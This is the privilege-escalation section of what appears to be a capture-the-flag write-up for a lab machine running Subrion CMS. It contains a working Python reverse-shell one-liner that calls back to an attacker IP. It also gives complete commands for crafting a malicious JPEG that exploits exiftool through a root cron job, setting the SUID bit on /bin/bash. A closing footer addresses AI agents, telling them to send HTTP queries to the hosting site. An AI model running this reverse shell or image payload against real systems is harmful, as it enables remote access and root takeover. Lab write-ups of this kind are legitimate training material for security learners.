# Priv Escalation

I upgraded my shell using python. 

```
export RHOST="192.168.49.135";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

![](/files/FdmZEvyH01OpzkIbYEBM)

```
* *	* * *	root	bash /opt/image-exif.sh
cat /opt/image-exif.sh
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata 

echo -ne "\\n metadata directory cleaned! \\n\\n"


IMAGES='/var/www/html/subrion/uploads'

META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename; 
do 
    exiftool "$IMAGES/$filename" >> $LOGFILE 
done

echo -ne "\\n\\n Processing is finished! \\n\\n\\n"

```

exiftool exploit

The script extracts exif data from all the jpegs in the upload directory of subrion. If we can inject some metadata that allow us to remotely execute commands, we could execute commands as root since the script is runnign as root. 

Following are my steps that makes **/bin/bash** a **SUID** binary.

```
sudo apt-get install -y djvulibre-bin
wget -qO sample.jpg placekitten.com/200
file sample.jpg
printf 'P1 1 1 1' > input.pbm
cjb2 input.pbm mask.djvu
djvumake exploit.djvu Sjbz=mask.djvu
echo -e '(metadata (copyright "\\\n" . `chmod +s /bin/bash` #"))' > input.txt
djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg
```

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-54.png?w=1024)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-54.png)

We upload this malicious **exploit.jpg** to the **Subrion CMS** again and after like 10-15 seconds our /bin/bash had SUID bit.

[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-02.png?w=951)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-02.png)[![](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-05.png?w=992)](https://grumpygeekwrites.files.wordpress.com/2021/09/2021-09-07_06-05.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/exfiltrated/priv-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.